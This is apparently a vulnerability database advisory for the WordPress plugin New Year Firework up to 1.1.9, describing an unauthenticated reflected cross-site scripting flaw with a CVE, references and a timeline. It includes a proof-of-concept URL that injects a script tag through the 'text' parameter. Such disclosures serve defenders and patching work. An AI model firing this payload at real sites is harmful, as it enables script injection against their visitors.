New Year Firework <= 1.1.9 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Proof of Concept

http://www.example.com/wp-content/plugins/new-year-firework/firework/index.php?text="><script>alert(1);</script><"

Affects Plugin

new-year-firework

References

CVE	2016-1000140
URL	http://www.vapidlabs.com/wp/wp_advisory.php?v=453
URL	https://www.openwall.com/lists/oss-security/2016/04/12/8

Classification

Type	XSS
OWASP Top 10	A7: Cross-Site Scripting (XSS)
CWE	CWE-79

Miscellaneous

Submitter	ethicalhack3r
Submitter Website	https://dewhurstsecurity.com/
Submitter Twitter	ethicalhack3r
Views	5422
Verified	No
WPVDB ID	8451

Timeline

Publicly Published	2016-04-12 (over 3 years ago)
Added	2016-04-15 (over 3 years ago)
Last Updated	2019-11-28 (10 days ago)

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